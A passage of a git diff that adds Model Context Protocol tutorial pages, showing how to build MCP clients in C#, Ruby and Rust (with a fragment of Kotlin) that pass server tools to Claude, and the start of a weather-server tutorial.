+ .properties(tool.inputSchema.properties?.toJsonValue() ?: EmptyJsonObject.toJsonValue())
+ .putAdditionalProperty("required", JsonValue.from(tool.inputSchema.required))
+ .build(),
+ )
+ .build(),
+ )
+ }
+ println("Connected to server with tools: ${tools.joinToString(", ") { it.tool().get().name() }}")
+ }
+ ```
+
+
+ This helper converts a kotlinx.serialization `JsonObject` to an Anthropic SDK `JsonValue` using Jackson:
+
+ ```kotlin theme={null}
+ private fun JsonObject.toJsonValue(): JsonValue {
+ val mapper = ObjectMapper()
+ val node = mapper.readTree(this.toString())
+ return JsonValue.fromJsonNode(node)
+ }
+ ```
+
+
+ ### Query processing logic
+
+ Now let's add the core functionality for processing queries and handling tool calls:
+
+ ```kotlin theme={null}
+ suspend fun processQuery(query: String): String {
+ val messages = mutableListOf(
+ MessageParam.builder()
+ .role(MessageParam.Role.USER)
+ .content(query)
+ .build(),
+ )
+
+ val response = anthropic.messages().create(
+ MessageCreateParams.builder()
+ .model("claude-sonnet-4-20250514")
+ .maxTokens(1024)
+ .messages(messages)
+ .tools(tools)
+ .build(),
+ )
+
+ val finalText = mutableListOf()
+ response.content().forEach { content ->
+ when {
+ content.isText() -> finalText.add(content.text().get().text())
+
+ content.isToolUse() -> {
+ val toolName = content.toolUse().get().name()
+ val toolArgs =
+ content.toolUse().get()._input().convert(object : TypeReference
+
+
+ [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/QuickstartClient)
+
+ ## System Requirements
+
+ Before starting, ensure your system meets these requirements:
+
+ * .NET 8.0 or higher
+ * Anthropic API key (Claude)
+ * Windows, Linux, or macOS
+
+ ## Setting up your environment
+
+ First, create a new .NET project:
+
+ ```bash theme={null}
+ dotnet new console -n QuickstartClient
+ cd QuickstartClient
+ ```
+
+ Then, add the required dependencies to your project:
+
+ ```bash theme={null}
+ dotnet add package ModelContextProtocol --prerelease
+ dotnet add package Anthropic.SDK
+ dotnet add package Microsoft.Extensions.Hosting
+ dotnet add package Microsoft.Extensions.AI
+ ```
+
+ ## Setting up your API key
+
+ You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
+
+ ```bash theme={null}
+ dotnet user-secrets init
+ dotnet user-secrets set "ANTHROPIC_API_KEY" ""
+ ```
+
+ ## Creating the Client
+
+ ### Basic Client Structure
+
+ First, let's setup the basic client class in the file `Program.cs`:
+
+ ```csharp theme={null}
+ using Anthropic.SDK;
+ using Microsoft.Extensions.AI;
+ using Microsoft.Extensions.Configuration;
+ using Microsoft.Extensions.Hosting;
+ using ModelContextProtocol.Client;
+ using ModelContextProtocol.Protocol.Transport;
+
+ var builder = Host.CreateApplicationBuilder(args);
+
+ builder.Configuration
+ .AddEnvironmentVariables()
+ .AddUserSecrets();
+ ```
+
+ This creates the beginnings of a .NET console application that can read the API key from user secrets.
+
+ Next, we'll setup the MCP Client:
+
+ ```csharp theme={null}
+ var (command, arguments) = GetCommandAndArguments(args);
+
+ var clientTransport = new StdioClientTransport(new()
+ {
+ Name = "Demo Server",
+ Command = command,
+ Arguments = arguments,
+ });
+
+ await using var mcpClient = await McpClient.CreateAsync(clientTransport);
+
+ var tools = await mcpClient.ListToolsAsync();
+ foreach (var tool in tools)
+ {
+ Console.WriteLine($"Connected to server with tools: {tool.Name}");
+ }
+ ```
+
+ Add this function at the end of the `Program.cs` file:
+
+ ```csharp theme={null}
+ static (string command, string[] arguments) GetCommandAndArguments(string[] args)
+ {
+ return args switch
+ {
+ [var script] when script.EndsWith(".py") => ("python", args),
+ [var script] when script.EndsWith(".js") => ("node", args),
+ [var script] when Directory.Exists(script) || (File.Exists(script) && script.EndsWith(".csproj")) => ("dotnet", ["run", "--project", script, "--no-build"]),
+ _ => throw new NotSupportedException("An unsupported server script was provided. Supported scripts are .py, .js, or .csproj")
+ };
+ }
+ ```
+
+ This creates an MCP client that will connect to a server that is provided as a command line argument. It then lists the available tools from the connected server.
+
+ ### Query processing logic
+
+ Now let's add the core functionality for processing queries and handling tool calls:
+
+ ```csharp theme={null}
+ using var anthropicClient = new AnthropicClient(new APIAuthentication(builder.Configuration["ANTHROPIC_API_KEY"]))
+ .Messages
+ .AsBuilder()
+ .UseFunctionInvocation()
+ .Build();
+
+ var options = new ChatOptions
+ {
+ MaxOutputTokens = 1000,
+ ModelId = "claude-sonnet-4-20250514",
+ Tools = [.. tools]
+ };
+
+ Console.ForegroundColor = ConsoleColor.Green;
+ Console.WriteLine("MCP Client Started!");
+ Console.ResetColor();
+
+ PromptForInput();
+ while(Console.ReadLine() is string query && !"exit".Equals(query, StringComparison.OrdinalIgnoreCase))
+ {
+ if (string.IsNullOrWhiteSpace(query))
+ {
+ PromptForInput();
+ continue;
+ }
+
+ await foreach (var message in anthropicClient.GetStreamingResponseAsync(query, options))
+ {
+ Console.Write(message);
+ }
+ Console.WriteLine();
+
+ PromptForInput();
+ }
+
+ static void PromptForInput()
+ {
+ Console.WriteLine("Enter a command (or 'exit' to quit):");
+ Console.ForegroundColor = ConsoleColor.Cyan;
+ Console.Write("> ");
+ Console.ResetColor();
+ }
+ ```
+
+ ## Key Components Explained
+
+ ### 1. Client Initialization
+
+ * The client is initialized using `McpClient.CreateAsync()`, which sets up the transport type and command to run the server.
+
+ ### 2. Server Connection
+
+ * Supports Python, Node.js, and .NET servers.
+ * The server is started using the command specified in the arguments.
+ * Configures to use stdio for communication with the server.
+ * Initializes the session and available tools.
+
+ ### 3. Query Processing
+
+ * Leverages [Microsoft.Extensions.AI](https://learn.microsoft.com/dotnet/ai/ai-extensions) for the chat client.
+ * Configures the `IChatClient` to use automatic tool (function) invocation.
+ * The client reads user input and sends it to the server.
+ * The server processes the query and returns a response.
+ * The response is displayed to the user.
+
+ ## Running the Client
+
+ To run your client with any MCP server:
+
+ ```bash theme={null}
+ dotnet run -- path/to/server.csproj # dotnet server
+ dotnet run -- path/to/server.py # python server
+ dotnet run -- path/to/server.js # node server
+ ```
+
+
+ If you're continuing the weather tutorial from the server quickstart, your command might look something like this: `dotnet run -- path/to/QuickstartWeatherServer`.
+
+
+ The client will:
+
+ 1. Connect to the specified server
+ 2. List available tools
+ 3. Start an interactive chat session where you can:
+ * Enter queries
+ * See tool executions
+ * Get responses from Claude
+ 4. Exit the session when done
+
+ Here's an example of what it should look like if connected to the weather server quickstart:
+
+
+
+
+
+
+
+ [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/mcp-client-ruby)
+
+ ## System Requirements
+
+ Before starting, ensure your system meets these requirements:
+
+ * Mac or Windows computer
+ * Ruby 3.2.0 or higher installed (required by the [Anthropic SDK](https://github.com/anthropics/anthropic-sdk-ruby))
+ * Anthropic API key (Claude)
+
+ ## Setting Up Your Environment
+
+ First, create a new Ruby project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create project directory
+ mkdir mcp-client
+ cd mcp-client
+
+ # Create a Gemfile
+ bundle init
+
+ # Add required dependencies
+ bundle add anthropic base64 dotenv mcp
+
+ # Create our main file
+ touch client.rb
+ ```
+
+ ```powershell Windows theme={null}
+ # Create project directory
+ mkdir mcp-client
+ cd mcp-client
+
+ # Create a Gemfile
+ bundle init
+
+ # Add required dependencies
+ bundle add anthropic base64 dotenv mcp
+
+ # Create our main file
+ new-item client.rb
+ ```
+
+
+ ## Setting Up Your API Key
+
+ You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
+
+ Create a `.env` file to store it:
+
+ ```bash theme={null}
+ echo "ANTHROPIC_API_KEY=your-api-key-goes-here" > .env
+ ```
+
+ Add `.env` to your `.gitignore`:
+
+ ```bash theme={null}
+ echo ".env" >> .gitignore
+ ```
+
+
+ Make sure you keep your `ANTHROPIC_API_KEY` secure!
+
+
+ ## Creating the Client
+
+ ### Basic Client Structure
+
+ First, let's set up our requires and create the basic client class:
+
+ ```ruby theme={null}
+ require "anthropic"
+ require "dotenv/load"
+ require "json"
+ require "mcp"
+
+ class MCPClient
+ ANTHROPIC_MODEL = "claude-sonnet-4-20250514"
+
+ def initialize
+ @mcp_client = nil
+ @transport = nil
+ @anthropic_client = nil
+ end
+
+ # methods will go here
+ end
+ ```
+
+ ### Server Connection Management
+
+ Next, we'll implement the method to connect to an MCP server:
+
+ ```ruby theme={null}
+ def connect_to_server(server_script_path)
+ command = case File.extname(server_script_path)
+ when ".rb"
+ "ruby"
+ when ".py"
+ "python3"
+ when ".js"
+ "node"
+ else
+ raise ArgumentError, "Server script must be a .rb, .py, or .js file."
+ end
+
+ @transport = MCP::Client::Stdio.new(command: command, args: [server_script_path])
+ @mcp_client = MCP::Client.new(transport: @transport)
+ @mcp_client.connect
+
+ tool_names = @mcp_client.tools.map(&:name)
+ puts "\nConnected to server with tools: #{tool_names}"
+ end
+ ```
+
+ ### Query Processing Logic
+
+ Now let's add the core functionality for processing queries and handling tool calls:
+
+ ```ruby theme={null}
+ private
+
+ def process_query(query)
+ messages = [{ role: "user", content: query }]
+
+ available_tools = @mcp_client.tools.map do |tool|
+ { name: tool.name, description: tool.description, input_schema: tool.input_schema }
+ end
+
+ # Initial Claude API call.
+ response = chat(messages, tools: available_tools)
+
+ # Process response and handle tool calls.
+ if response.content.any?(Anthropic::Models::ToolUseBlock)
+ assistant_content = response.content.filter_map do |content_block|
+ case content_block
+ when Anthropic::Models::TextBlock
+ { type: "text", text: content_block.text }
+ when Anthropic::Models::ToolUseBlock
+ { type: "tool_use", id: content_block.id, name: content_block.name, input: content_block.input }
+ end
+ end
+ messages << { role: "assistant", content: assistant_content }
+ end
+
+ response.content.each_with_object([]) do |content, response_parts|
+ case content
+ when Anthropic::Models::TextBlock
+ response_parts << content.text
+ when Anthropic::Models::ToolUseBlock
+ # Execute tool call via MCP.
+ result = @mcp_client.call_tool(name: content.name, arguments: content.input)
+ response_parts << "[Calling tool #{content.name} with args #{content.input.to_json}]"
+
+ tool_result_content = result.dig("result", "content")
+ result_text = if tool_result_content.is_a?(Array)
+ tool_result_content.filter_map { |content_item| content_item["text"] }.join("\n")
+ else
+ tool_result_content.to_s
+ end
+
+ messages << {
+ role: "user",
+ content: [{
+ type: "tool_result",
+ tool_use_id: content.id,
+ content: result_text
+ }]
+ }
+
+ # Get next response from Claude.
+ response = chat(messages)
+
+ response.content.each do |content_block|
+ response_parts << content_block.text if content_block.is_a?(Anthropic::Models::TextBlock)
+ end
+ end
+ end.join("\n")
+ end
+
+ def chat(messages, tools: nil)
+ params = { model: ANTHROPIC_MODEL, max_tokens: 1000, messages: messages }
+ params[:tools] = tools if tools
+
+ anthropic_client.messages.create(**params)
+ end
+
+ def anthropic_client
+ @anthropic_client ||= Anthropic::Client.new(api_key: ENV["ANTHROPIC_API_KEY"])
+ end
+ ```
+
+ ### Interactive Chat Interface
+
+ Now we'll add the chat loop and cleanup functionality:
+
+ ```ruby theme={null}
+ def chat_loop
+ puts <<~MESSAGE
+ MCP Client Started!
+ Type your queries or 'quit' to exit.
+ MESSAGE
+
+ loop do
+ print "\nQuery: "
+ line = $stdin.gets
+ break if line.nil?
+
+ query = line.chomp.strip
+ break if query.downcase == "quit"
+ next if query.empty?
+
+ begin
+ response = process_query(query)
+ puts "\n#{response}"
+ rescue => e
+ puts "\nError: #{e.message}"
+ end
+ end
+ end
+
+ def cleanup
+ @transport&.close
+ end
+ ```
+
+ ### Main Entry Point
+
+ Finally, we'll add the main execution logic:
+
+ ```ruby theme={null}
+ if ARGV.empty?
+ puts "Usage: ruby client.rb "
+ exit 1
+ end
+
+ client = MCPClient.new
+
+ begin
+ client.connect_to_server(ARGV[0])
+
+ api_key = ENV["ANTHROPIC_API_KEY"]
+ if api_key.nil? || api_key.empty?
+ puts <<~MESSAGE
+ No ANTHROPIC_API_KEY found. To query these tools with Claude, set your API key:
+ export ANTHROPIC_API_KEY=your-api-key-here
+ MESSAGE
+ exit
+ end
+
+ client.chat_loop
+ rescue => e
+ puts "Error: #{e.message}"
+ exit 1
+ ensure
+ client.cleanup
+ end
+ ```
+
+ You can find the complete `client.rb` file [here](https://github.com/modelcontextprotocol/quickstart-resources/blob/main/mcp-client-ruby/client.rb).
+
+ ## Key Components Explained
+
+ ### 1. Client Initialization
+
+ * The `MCPClient` class initializes with nil references for lazy setup
+ * The Anthropic client is lazily initialized via the `anthropic_client` method
+ * Uses `dotenv` to load environment variables from `.env`
+
+ ### 2. Server Connection
+
+ * Supports Ruby, Python, and Node.js servers
+ * Uses `File.extname` to determine the server script type
+ * Uses `MCP::Client::Stdio` for stdio transport
+ * Initializes the MCP client and lists available tools
+
+ ### 3. Query Processing
+
+ * Maps MCP tools to Anthropic tool format (`name`, `description`, `input_schema`)
+ * Uses `Anthropic::Models::TextBlock` and `Anthropic::Models::ToolUseBlock` for pattern matching
+ * Builds assistant content once before iterating tool calls
+ * Executes tool calls via `@mcp_client.call_tool`
+ * Uses `chat` helper method to wrap Anthropic API calls
+ * Extracts tool result content with `result.dig("result", "content")`
+ * Passes tool results back to Claude for a final response
+
+ ### 4. Interactive Interface
+
+ * Provides a simple command-line interface
+ * Handles user input and displays responses
+ * Skips empty queries
+ * Includes basic error handling
+
+ ### 5. Resource Management
+
+ * Proper cleanup of the transport via `begin`...`ensure`
+ * Top-level `rescue` for error handling
+ * API key validation after server connection
+
+ ## Running the Client
+
+ To run your client with any MCP server:
+
+ ```bash theme={null}
+ bundle exec ruby client.rb path/to/server.rb # ruby server
+ bundle exec ruby client.rb path/to/server.py # python server
+ bundle exec ruby client.rb path/to/build/index.js # node server
+ ```
+
+
+ If you're continuing [the weather tutorial from the server quickstart](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-ruby), your command might look something like this: `bundle exec ruby client.rb /path/to/weather-server-ruby/weather.rb`
+
+
+ The client will:
+
+ 1. Connect to the specified server
+ 2. List available tools
+ 3. Start an interactive chat session where you can:
+ * Enter queries
+ * See tool executions
+ * Get responses from Claude
+
+ ## How It Works
+
+ When you submit a query:
+
+ 1. The client gets the list of available tools from the server
+ 2. Your query is sent to Claude along with tool descriptions
+ 3. Claude decides which tools (if any) to use
+ 4. The client executes any requested tool calls through the server
+ 5. Results are sent back to Claude
+ 6. Claude provides a natural language response
+ 7. The response is displayed to you
+
+ ## Best practices
+
+ 1. **Error Handling**
+ * Wrap tool calls in `begin`...`rescue` blocks
+ * Provide meaningful error messages
+ * Gracefully handle connection issues
+
+ 2. **Resource Management**
+ * Always close the transport when done
+ * Use `begin`...`ensure` for proper cleanup
+ * Handle server disconnections
+
+ 3. **Security**
+ * Store API keys securely in `.env`
+ * Validate server responses
+ * Be cautious with tool permissions
+
+ ## Troubleshooting
+
+ ### Server Path Issues
+
+ * Double-check the path to your server script is correct
+ * Use the absolute path if the relative path isn't working
+ * For Windows users, make sure to use forward slashes (/) or escaped backslashes (\\) in the path
+ * Verify the server file has the correct extension (.py for Python, .js for Node.js, or .rb for Ruby)
+
+ Example of correct path usage:
+
+ ```bash theme={null}
+ # Relative path
+ bundle exec ruby client.rb ./server/weather.rb
+
+ # Absolute path
+ bundle exec ruby client.rb /Users/username/projects/mcp-server/weather.rb
+
+ # Windows path (either format works)
+ bundle exec ruby client.rb C:/projects/mcp-server/weather.rb
+ bundle exec ruby client.rb C:\\projects\\mcp-server\\weather.rb
+ ```
+
+ ### Response Timing
+
+ * The first response might take up to 30 seconds to return
+ * This is normal and happens while:
+ * The server initializes
+ * Claude processes the query
+ * Tools are being executed
+ * Subsequent responses are typically faster
+ * Don't interrupt the process during this initial waiting period
+
+ ### Common Error Messages
+
+ If you see:
+
+ * `Errno::ENOENT`: Check your server path and ensure the command (`ruby`, `python3`, `node`) is available
+ * `Connection refused`: Ensure the server is running and the path is correct
+ * `Tool execution failed`: Verify the tool's required environment variables are set
+ * `Anthropic::Errors::AuthenticationError`: Check your `.env` file has a valid `ANTHROPIC_API_KEY`
+
+
+
+ [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/mcp-client-rust)
+
+ ## System Requirements
+
+ Before starting, ensure your Linux system meets these requirements:
+
+ * Latest stable version of [Rust and Cargo](https://www.rust-lang.org/tools/install)
+ * Anthropic API key (Claude)
+ * A Python, Node.js, or executable MCP server to connect to
+
+ ## Setting Up Your Environment
+
+ First, create a new Rust project:
+
+ ```bash theme={null}
+ cargo new mcp-client-rust
+ cd mcp-client-rust
+ ```
+
+ Replace the contents of `Cargo.toml` with the following:
+
+ ```toml Cargo.toml theme={null}
+ [package]
+ name = "mcp-client-rust"
+ version = "0.1.0"
+ edition = "2024"
+
+ [dependencies]
+ anyhow = "1.0.100"
+ genai = "0.4.2"
+ rmcp = { version = "0.8.0", features = ["server", "client", "transport-io", "transport-child-process"] }
+ tokio = { version = "1.47.1", features = ["full"] }
+ tracing = "0.1.41"
+ tracing-subscriber = { version = "0.3", features = ["env-filter"] }
+ serde_json = "1.0.128"
+ dotenvy = "0.15.7"
+ reqwest = "0.12.23"
+ ```
+
+ The [`rmcp`](https://github.com/modelcontextprotocol/rust-sdk) crate provides the Rust MCP SDK and child-process transport. This example uses the [`genai`](https://github.com/jeremychone/rust-genai) crate to send requests to Claude and represent tools in the model request.
+
+ ## Setting Up Your API Key
+
+ You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
+
+ Create a `.env` file to store it:
+
+ ```bash theme={null}
+ echo "ANTHROPIC_API_KEY=your-api-key-goes-here" > .env
+ ```
+
+ Add `.env` to your `.gitignore`:
+
+ ```bash theme={null}
+ echo ".env" >> .gitignore
+ ```
+
+
+ Make sure you keep your `ANTHROPIC_API_KEY` secure!
+
+
+ ## Creating the Client
+
+ Open `src/main.rs` and replace its contents as you work through the following sections.
+
+ ### Imports and Client Structure
+
+ First, add the imports, model constant, and basic client structure:
+
+ ```rust theme={null}
+ use anyhow::{Context, Result, bail};
+ use genai::Client;
+ use genai::chat::{
+ ChatMessage, ChatRequest, ChatResponse, ContentPart, Tool as GenaiTool, ToolResponse,
+ };
+ use rmcp::model::{CallToolRequestParam, Tool as McpTool};
+ use rmcp::service::{RoleClient, RunningService, ServiceExt};
+ use rmcp::transport::TokioChildProcess;
+ use serde_json::Value;
+ use tokio::io::{self, AsyncBufReadExt, BufReader};
+ use tokio::process::Command;
+
+ const MODEL_ANTHROPIC: &str = "claude-sonnet-4-20250514";
+
+ struct MCPClient {
+ anthropic: Client,
+ session: Option>,
+ tools: Vec,
+ }
+ ```
+
+ The client keeps the model API client, the active MCP session, and the tools advertised by the connected server.
+
+ ### Client Initialization
+
+ Next, initialize the model client and start without an MCP session or tools:
+
+ ```rust theme={null}
+ impl MCPClient {
+ fn new() -> Result {
+ Ok(MCPClient {
+ anthropic: Client::default(),
+ session: None,
+ tools: Vec::new(),
+ })
+ }
+
+ // Additional methods will go here.
+ }
+ ```
+
+ `genai::Client::default()` reads the `ANTHROPIC_API_KEY` environment variable when it sends a request.
+
+ ### Server Connection Management
+
+ Add this method inside the `impl MCPClient` block:
+
+ ```rust theme={null}
+ async fn connect_to_server(&mut self, server_args: &[String]) -> Result<()> {
+ if self.session.is_some() {
+ bail!("Client is already connected to a server");
+ }
+
+ let mut command = Command::new(&server_args[0]);
+ command.args(&server_args[1..]);
+
+ let process = TokioChildProcess::new(command)
+ .with_context(|| format!("Failed to spawn server process for {:?}", server_args))?;
+
+ let session = ().serve(process).await?;
+
+ let rmcp_tools = session
+ .list_all_tools()
+ .await
+ .context("Unable to list tools from server")?;
+
+ let tool_names: Vec = rmcp_tools
+ .iter()
+ .map(|tool| tool.name.to_string())
+ .collect();
+
+ println!("Connected to server with tools: {tool_names:?}");
+
+ self.tools = convert_tools(&rmcp_tools);
+ self.session = Some(session);
+ Ok(())
+ }
+ ```
+
+ This method:
+
+ 1. Starts the server as a child process using the command and arguments supplied on the command line
+ 2. Establishes an MCP session over stdio
+ 3. Lists all tools advertised by the server
+ 4. Converts those tools into the format used in model requests
+
+ ### Converting MCP Tools
+
+ Add this function outside the `impl MCPClient` block:
+
+ ```rust theme={null}
+ fn convert_tools(tools: &[McpTool]) -> Vec {
+ tools
+ .iter()
+ .map(|tool| GenaiTool {
+ name: tool.name.to_string(),
+ description: tool.description.as_deref().map(str::to_string),
+ schema: Some(Value::Object(tool.input_schema.as_ref().clone())),
+ config: None,
+ })
+ .collect()
+ }
+ ```
+
+ MCP and model APIs describe tools with similar information but different Rust types. `convert_tools` maps each MCP tool's name, description, and input schema into a `genai` tool definition.
+
+ ### Sending Model Requests
+
+ Add this helper method inside `impl MCPClient`:
+
+ ```rust theme={null}
+ async fn request_model(&self, chat_req: &ChatRequest) -> Result {
+ let response = self
+ .anthropic
+ .exec_chat(MODEL_ANTHROPIC, chat_req.clone(), None)
+ .await
+ .context("Anthropic chat request failed")?;
+
+ Ok(response)
+ }
+ ```
+
+ This keeps model request handling in one place and adds useful context if the API request fails.
+
+ ### Query Processing Logic
+
+ Now add the core query-processing method inside `impl MCPClient`:
+
+ ```rust theme={null}
+ async fn process_query(&mut self, query: &str) -> Result {
+ let session = self
+ .session
+ .as_ref()
+ .context("Client is not connected to any server")?;
+
+ let mut messages = vec![ChatMessage::user(query)];
+ let mut final_text = Vec::new();
+
+ // Initial Claude API call with tools
+ let mut chat_req = ChatRequest::new(messages.clone()).with_tools(self.tools.clone());
+ let mut chat_rsp = self.request_model(&chat_req).await?;
+
+ // Process response content - collect text and handle tool calls
+ for text in chat_rsp.texts() {
+ final_text.push(text.to_string());
+ }
+
+ let tool_calls = chat_rsp.tool_calls();
+ if !tool_calls.is_empty() {
+ // Append assistant's response to message history
+ messages.push(ChatMessage::assistant(chat_rsp.content.clone()));
+
+ // Execute each tool call and collect responses
+ let mut tool_results = Vec::new();
+ for tool_call in tool_calls {
+ // Add information about the tool call to final text
+ let tool_args_str = serde_json::to_string(&tool_call.fn_arguments)
+ .unwrap_or_else(|_| "{}".to_string());
+
+ final_text.push(format!(
+ "[Calling tool {} with args {}]",
+ tool_call.fn_name, tool_args_str
+ ));
+
+ // Query the MCP server
+ let tool_result = session
+ .call_tool(CallToolRequestParam {
+ name: tool_call.fn_name.clone().into(),
+ arguments: tool_call.fn_arguments.as_object().cloned(),
+ })
+ .await
+ .with_context(|| format!("Tool call {} failed", tool_call.fn_name))?;
+
+ let payload = serde_json::to_string(&tool_result)
+ .context("Failed to serialize tool result")?;
+
+ tool_results.push(ContentPart::ToolResponse(ToolResponse::new(
+ tool_call.call_id.clone(),
+ payload,
+ )));
+ }
+
+ // Append tool responses to message history
+ messages.push(ChatMessage::user(tool_results));
+
+ // Build the next request and query model
+ chat_req = ChatRequest::new(messages.clone());
+ chat_rsp = self.request_model(&chat_req).await?;
+
+ // Collect text from response
+ for text in chat_rsp.texts() {
+ final_text.push(text.to_string());
+ }
+ }
+
+ Ok(final_text.join("\n"))
+ }
+ ```
+
+ The method first sends the user's query and available tools to Claude. When Claude requests tools, the client executes each request through the MCP session, sends the results back to Claude, and collects the final text response.
+
+ ### Interactive Chat Interface
+
+ Add the interactive terminal loop inside `impl MCPClient`:
+
+ ```rust theme={null}
+ async fn chat_loop(&mut self) -> Result<()> {
+ println!("\nMCP Client Started!");
+ println!("Type your queries or 'quit' to exit.");
+
+ let mut stdin = BufReader::new(io::stdin());
+ let mut input = String::new();
+
+ loop {
+ print!("\nQuery: ");
+ std::io::Write::flush(&mut std::io::stdout())?;
+
+ input.clear();
+ if stdin.read_line(&mut input).await? == 0 {
+ break; // EOF
+ }
+
+ let query = input.trim();
+ if query.eq_ignore_ascii_case("quit") {
+ break;
+ }
+ if query.is_empty() {
+ continue;
+ }
+
+ match self.process_query(query).await {
+ Ok(response) => println!("\n{}", response),
+ Err(err) => println!("\nError: {}", err),
+ }
+ }
+
+ Ok(())
+ }
+ ```
+
+ The loop accepts queries until the user types `quit` or closes standard input. Query errors are printed without terminating the client.
+
+ ### Cleanup
+
+ Add this method inside `impl MCPClient` to stop the MCP session and child process:
+
+ ```rust theme={null}
+ async fn cleanup(&mut self) -> Result<()> {
+ if let Some(session) = self.session.take() {
+ let _ = session.cancel().await;
+ }
+ Ok(())
+ }
+ ```
+
+ ### Main Entry Point
+
+ Finally, add the asynchronous entry point outside the `impl MCPClient` block:
+
+ ```rust theme={null}
+ #[tokio::main]
+ async fn main() -> Result<()> {
+ dotenvy::dotenv().context("Failed to load env file")?;
+
+ let mut args = std::env::args();
+ let _ = args.next();
+ let server_args: Vec = args.collect();
+
+ if server_args.is_empty() {
+ eprintln!("Usage: cargo run -- [args...]");
+ std::process::exit(1);
+ }
+
+ let mut client = MCPClient::new()?;
+
+ let result = async {
+ client.connect_to_server(&server_args).await?;
+ client.chat_loop().await
+ }
+ .await;
+
+ let cleanup_result = client.cleanup().await;
+
+ result?;
+ cleanup_result?;
+
+ Ok(())
+ }
+ ```
+
+ The entry point loads `.env`, treats all remaining command-line arguments as the server command, connects the client, starts the chat loop, and ensures cleanup runs before exiting.
+
+ ### Verify the Complete File
+
+ Before running the client, confirm the items in `src/main.rs` are placed at the correct scope:
+
+ * `new`, `connect_to_server`, `process_query`, `request_model`, `chat_loop`, and `cleanup` are methods inside the single `impl MCPClient` block.
+ * `main` and `convert_tools` are functions outside the `impl MCPClient` block.
+
+ Rust does not require these items to appear in a particular order, but methods and free functions must be placed in the correct scope. Compare your file with the [complete `src/main.rs` example](https://github.com/modelcontextprotocol/quickstart-resources/blob/main/mcp-client-rust/src/main.rs), then check that it compiles:
+
+ ```bash theme={null}
+ cargo fmt --check
+ cargo check
+ ```
+
+ ## Running the Client
+
+ Use `cargo run --` followed by the command you would normally use to start the MCP server:
+
+ ```bash theme={null}
+ # Python server
+ cargo run -- python path/to/server.py
+
+ # Node.js server
+ cargo run -- node path/to/build/index.js
+
+ # Executable server
+ cargo run -- path/to/server-binary
+ ```
+
+ Running bare `cargo run` without a server command prints the usage message and exits.
+
+
+ If you're continuing [the weather tutorial from the server quickstart](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-rust), build the server first and then run a command similar to: `cargo run -- ../weather-server-rust/target/debug/weather`
+
+
+ The client will:
+
+ 1. Start and connect to the specified MCP server
+ 2. List the tools available from that server
+ 3. Start an interactive chat session where you can:
+ * Enter queries
+ * See tool executions
+ * Get responses from Claude
+
+ ## How It Works
+
+ When you submit a query:
+
+ 1. The client sends your query and the server's available tools to Claude
+ 2. Claude decides which tools, if any, to use
+ 3. The client executes requested tools through the MCP session
+ 4. Tool results are sent back to Claude
+ 5. Claude provides a natural language response
+ 6. The response is displayed in the terminal
+
+ ## Best Practices
+
+ 1. **Error Handling**
+ * Add context to errors at process, MCP, model API, and serialization boundaries
+ * Report individual query errors without terminating the interactive session
+ * Validate server commands before running them
+
+ 2. **Resource Management**
+ * Always cancel the MCP session during cleanup
+ * Ensure cleanup runs even when connection or chat-loop operations fail
+ * Avoid starting a second server while a session is active
+
+ 3. **Security**
+ * Store API keys securely in `.env`
+ * Review the tools exposed by a server before allowing model-driven calls
+ * Connect only to servers and executable commands you trust
+
+ ## Troubleshooting
+
+ ### Server Command Issues
+
+ The arguments after `cargo run --` must form a complete command. Interpreted server scripts need their runtime:
+
+ ```bash theme={null}
+ # Correct
+ cargo run -- python ./server/weather.py
+ cargo run -- node ./server/build/index.js
+
+ # Incorrect: a Python script is not necessarily executable by itself
+ cargo run -- ./server/weather.py
+ ```
+
+ If a command cannot be found, use its absolute path or verify it is available in your `PATH`.
+
+ ### Environment File Issues
+
+ If you see `Failed to load env file`, ensure `.env` exists in the directory where you run the client.
+
+ If the model request reports a missing API key, confirm that `.env` contains:
+
+ ```text theme={null}
+ ANTHROPIC_API_KEY=your-api-key-goes-here
+ ```
+
+ ### Tool and Response Errors
+
+ * `Unable to list tools from server`: Verify the server starts successfully and communicates over stdio
+ * `Tool call ... failed`: Verify the server tool's required arguments and environment variables
+ * `Failed to serialize tool result`: Inspect the server's response for unsupported or malformed content
+
+
+
+## Next steps
+
+
+
+ Check out our gallery of official MCP servers and implementations
+
+
diff --git a/content/mcp/docs/2025-03-26/develop/build-server.md b/content/mcp/docs/2025-03-26/develop/build-server.md
new file mode 100644
index 000000000..31e7bfa51
--- /dev/null
+++ b/content/mcp/docs/2025-03-26/develop/build-server.md
@@ -0,0 +1,3001 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Build an MCP server
+
+> Get started building your own server to use in Claude for Desktop and other clients.
+
+In this tutorial, we'll build a simple MCP weather server and connect it to a host, Claude for Desktop.
+
+### What we'll be building
+
+We'll build a server that exposes two tools: `get_alerts` and `get_forecast`. Then we'll connect the server to an MCP host (in this case, Claude for Desktop):
+
+
+
+
+
+
+ Servers can connect to any client. We've chosen Claude for Desktop here for simplicity, but we also have a guide on [building your own client](/docs/2025-03-26/develop/build-client).
+
+
+### Core MCP Concepts
+
+MCP servers can provide three main types of capabilities:
+
+1. **[Resources](/docs/2025-03-26/learn/server-concepts#resources)**: File-like data that can be read by clients (like API responses or file contents)
+2. **[Tools](/docs/2025-03-26/learn/server-concepts#tools)**: Functions that can be called by the LLM (with user approval)
+3. **[Prompts](/docs/2025-03-26/learn/server-concepts#prompts)**: Pre-written templates that help users accomplish specific tasks
+
+This tutorial will primarily focus on tools.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-python)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * Python
+ * LLMs like Claude
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
